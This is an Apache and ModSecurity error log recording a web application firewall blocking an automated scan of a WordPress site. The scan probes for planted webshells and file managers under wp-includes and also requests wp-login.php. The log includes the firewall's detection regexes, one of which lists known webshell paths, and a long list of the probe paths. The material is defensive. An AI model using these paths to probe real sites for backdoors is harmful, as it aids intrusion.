[Sun Dec 07 05:04:07.898514 2025] [:error] [pid 7273:tid 7277] [client 45.146.55.30:63697] [client 45.146.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aTSaR_pR7YTD7JcHjhGBRQAAAUI"]
[Sun Dec 07 05:04:09.191768 2025] [:error] [pid 34195:tid 34199] [client 45.146.55.36:58909] [client 45.146.55.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aTSaSRrSxOOdwv3vX3xD6wAAAME"]
[Sun Dec 07 05:04:10.938006 2025] [:error] [pid 34110:tid 34184] [client 45.146.55.29:57809] [client 45.146.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aTSaSgndtmtsHiXHBO2DwQAAAJE"]
[Sun Dec 07 05:04:12.648447 2025] [:error] [pid 34108:tid 34135] [client 45.146.55.19:45893] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aTSaTKLvdvAppF-gXosTxAAAABY"]
[Sun Dec 07 05:04:14.802125 2025] [:error] [pid 7273:tid 7296] [client 45.146.55.25:30671] [client 45.146.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aTSaTvpR7YTD7JcHjhGBagAAAVU"]
[Sun Dec 07 05:04:17.490565 2025] [:error] [pid 34110:tid 34185] [client 45.146.55.50:55693] [client 45.146.55.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aTSaUQndtmtsHiXHBO2EHAAAAJI"]
[Sun Dec 07 05:04:18.788046 2025] [:error] [pid 34195:tid 34212] [client 45.146.55.13:24289] [client 45.146.55.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aTSaUhrSxOOdwv3vX3xEbgAAAM4"]
[Sun Dec 07 05:04:26.621144 2025] [:error] [pid 7089:tid 7097] [client 45.146.55.50:26731] [client 45.146.55.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aTSaWoJPZ-pZM-y51NHV7wAAAQY"]
[Sun Dec 07 05:04:27.489698 2025] [:error] [pid 34110:tid 34189] [client 45.146.55.57:23719] [client 45.146.55.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aTSaWwndtmtsHiXHBO2EmgAAAJY"]
[Sun Dec 07 05:04:28.341923 2025] [:error] [pid 34108:tid 34137] [client 45.146.55.12:46185] [client 45.146.55.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.12, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTSaXKLvdvAppF-gXosUlQAAABg"]
[Sun Dec 07 05:04:29.224706 2025] [:error] [pid 34108:tid 34137] [client 45.146.55.12:46185] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aTSaXaLvdvAppF-gXosUpAAAABg"]
[Sun Dec 07 05:04:30.967131 2025] [:error] [pid 34195:tid 34207] [client 45.146.55.11:37899] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aTSaXhrSxOOdwv3vX3xE4AAAAMk"]
[Sun Dec 07 05:04:31.824470 2025] [:error] [pid 34108:tid 34116] [client 45.146.55.54:35367] [client 45.146.55.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTSaX6LvdvAppF-gXosUygAAAAM"]
[Sun Dec 07 05:04:34.457128 2025] [:error] [pid 34108:tid 34116] [client 45.146.55.62:63401] [client 45.146.55.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aTSaYqLvdvAppF-gXosU7AAAAAM"]
[Sun Dec 07 05:04:35.351045 2025] [:error] [pid 7089:tid 7110] [client 45.146.55.47:54297] [client 45.146.55.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aTSaY4JPZ-pZM-y51NHWSgAAARM"]
[Sun Dec 07 05:04:38.447220 2025] [:error] [pid 34110:tid 34186] [client 45.146.55.28:23689] [client 45.146.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTSaZgndtmtsHiXHBO2FIQAAAJM"]
[Sun Dec 07 05:04:40.311638 2025] [proxy_fcgi:error] [pid 34195:tid 34219] [client 45.146.55.24:50949] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:04:41.224433 2025] [:error] [pid 34195:tid 34204] [client 45.146.55.24:50949] [client 45.146.55.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aTSaaRrSxOOdwv3vX3xFTAAAAMY"]
[Sun Dec 07 05:04:42.088048 2025] [:error] [pid 7273:tid 7298] [client 45.146.55.48:27709] [client 45.146.55.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aTSaavpR7YTD7JcHjhGCYQAAAVc"]
[Sun Dec 07 05:04:43.842929 2025] [:error] [pid 34108:tid 34117] [client 45.146.55.25:55255] [client 45.146.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aTSaa6LvdvAppF-gXosVVwAAAAQ"]
[Sun Dec 07 05:04:44.691928 2025] [:error] [pid 7089:tid 7115] [client 45.146.55.39:56335] [client 45.146.55.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aTSabIJPZ-pZM-y51NHWnAAAARg"]
[Sun Dec 07 05:04:48.579810 2025] [:error] [pid 7273:tid 7298] [client 45.146.55.30:23445] [client 45.146.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aTSacPpR7YTD7JcHjhGCqgAAAVc"]
[Sun Dec 07 05:04:49.431734 2025] [:error] [pid 34110:tid 34169] [client 45.146.55.54:47797] [client 45.146.55.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aTSacQndtmtsHiXHBO2FsQAAAII"]
[Sun Dec 07 05:04:52.036003 2025] [:error] [pid 13234:tid 13245] [client 45.146.55.24:29407] [client 45.146.55.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTSadO6_dquQqQ60IZ-FMAAAAYQ"]
[Sun Dec 07 05:04:52.883653 2025] [:error] [pid 34108:tid 34119] [client 45.146.55.39:43339] [client 45.146.55.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTSadKLvdvAppF-gXosV2gAAAAY"]
[Sun Dec 07 05:04:53.750638 2025] [:error] [pid 34109:tid 34157] [client 45.146.55.25:38119] [client 45.146.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTSadYjE_vucgM_xD4TkxgAAAFE"]
[Sun Dec 07 05:04:56.761696 2025] [:error] [pid 34195:tid 34207] [client 45.146.55.34:41813] [client 45.146.55.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aTSaeBrSxOOdwv3vX3xF6AAAAMk"]
[Sun Dec 07 05:04:58.046267 2025] [:error] [pid 7089:tid 7104] [client 45.146.55.43:44079] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aTSaeoJPZ-pZM-y51NHXXQAAAQ0"]
[Sun Dec 07 05:05:02.017058 2025] [:error] [pid 34110:tid 34175] [client 45.146.55.18:58591] [client 45.146.55.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.18, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aTSafQndtmtsHiXHBO2GKgAAAIg"]
[Sun Dec 07 05:05:04.684680 2025] [:error] [pid 34110:tid 34177] [client 45.146.55.18:58591] [client 45.146.55.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTSagAndtmtsHiXHBO2GUAAAAIo"]
[Sun Dec 07 05:05:05.549087 2025] [:error] [pid 34195:tid 34221] [client 45.146.55.33:26697] [client 45.146.55.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.33, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aTSagRrSxOOdwv3vX3xGZAAAANc"]
[Sun Dec 07 05:05:13.831851 2025] [proxy_fcgi:error] [pid 34195:tid 34214] [client 45.146.55.33:26697] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:05:20.394472 2025] [:error] [pid 34195:tid 34219] [client 45.146.55.33:26697] [client 45.146.55.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aTSakBrSxOOdwv3vX3xHGQAAANU"]
[Sun Dec 07 05:05:22.536872 2025] [:error] [pid 34108:tid 34115] [client 45.146.55.21:23185] [client 45.146.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aTSakqLvdvAppF-gXosXegAAAAI"]
[Sun Dec 07 05:05:24.248785 2025] [:error] [pid 7089:tid 7102] [client 45.146.55.17:30879] [client 45.146.55.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aTSalIJPZ-pZM-y51NHYgwAAAQs"]
[Sun Dec 07 05:05:29.026055 2025] [:error] [pid 34109:tid 34151] [client 45.146.55.11:26725] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aTSamYjE_vucgM_xD4TmUQAAAEs"]
[Sun Dec 07 05:05:30.745669 2025] [:error] [pid 13234:tid 13249] [client 45.146.55.22:51277] [client 45.146.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aTSamu6_dquQqQ60IZ-HYQAAAYg"]
[Sun Dec 07 05:05:32.051157 2025] [:error] [pid 34109:tid 34146] [client 45.146.55.16:49885] [client 45.146.55.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aTSanIjE_vucgM_xD4TmfAAAAEY"]
[Sun Dec 07 05:05:34.643634 2025] [proxy_fcgi:error] [pid 7273:tid 7299] [client 45.146.55.47:33255] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:05:35.087767 2025] [proxy_fcgi:error] [pid 7273:tid 7295] [client 45.146.55.47:33255] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:05:35.512611 2025] [:error] [pid 7273:tid 7296] [client 45.146.55.47:33255] [client 45.146.55.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aTSan_pR7YTD7JcHjhGFMgAAAVU"]
[Sun Dec 07 05:05:36.361709 2025] [:error] [pid 34109:tid 34156] [client 45.146.55.39:27889] [client 45.146.55.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aTSaoIjE_vucgM_xD4TmugAAAFA"]
[Sun Dec 07 05:05:40.274415 2025] [:error] [pid 7089:tid 7100] [client 45.146.55.17:64915] [client 45.146.55.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aTSapIJPZ-pZM-y51NHZIgAAAQk"]
[Sun Dec 07 05:05:41.559942 2025] [:error] [pid 7089:tid 7105] [client 45.146.55.38:41119] [client 45.146.55.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aTSapYJPZ-pZM-y51NHZKwAAAQ4"]
[Sun Dec 07 05:05:43.701995 2025] [:error] [pid 34110:tid 34168] [client 45.146.55.20:40939] [client 45.146.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aTSapwndtmtsHiXHBO2IWgAAAIE"]
[Sun Dec 07 05:05:50.674863 2025] [:error] [pid 7089:tid 7115] [client 45.146.55.29:56741] [client 45.146.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aTSaroJPZ-pZM-y51NHZsgAAARg"]
[Sun Dec 07 05:05:51.548151 2025] [proxy_fcgi:error] [pid 13234:tid 13256] [client 45.146.55.29:30347] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:05:52.838187 2025] [:error] [pid 13234:tid 13264] [client 45.146.55.29:30347] [client 45.146.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aTSasO6_dquQqQ60IZ-IigAAAZc"]
[Sun Dec 07 05:05:55.880625 2025] [proxy_fcgi:error] [pid 7089:tid 7105] [client 45.146.55.34:46917] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:05:56.727315 2025] [:error] [pid 7089:tid 7106] [client 45.146.55.34:46917] [client 45.146.55.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.34, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aTSatIJPZ-pZM-y51NHaDQAAAQ8"]
[Sun Dec 07 05:06:00.991782 2025] [:error] [pid 7089:tid 7112] [client 45.146.55.34:46917] [client 45.146.55.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aTSauIJPZ-pZM-y51NHaKwAAARU"]
[Sun Dec 07 05:06:02.274892 2025] [:error] [pid 34195:tid 34201] [client 45.146.55.38:57847] [client 45.146.55.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aTSauhrSxOOdwv3vX3xJQQAAAMM"]
[Sun Dec 07 05:06:04.853018 2025] [:error] [pid 13234:tid 13252] [client 45.146.55.39:52377] [client 45.146.55.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aTSavO6_dquQqQ60IZ-JUwAAAYs"]
[Sun Dec 07 05:06:11.884437 2025] [:error] [pid 34109:tid 34148] [client 45.146.55.60:57343] [client 45.146.55.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aTSaw4jE_vucgM_xD4To6wAAAEg"]
[Sun Dec 07 05:06:13.175846 2025] [:error] [pid 34195:tid 34201] [client 45.146.55.14:60201] [client 45.146.55.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aTSaxRrSxOOdwv3vX3xJ4QAAAMM"]
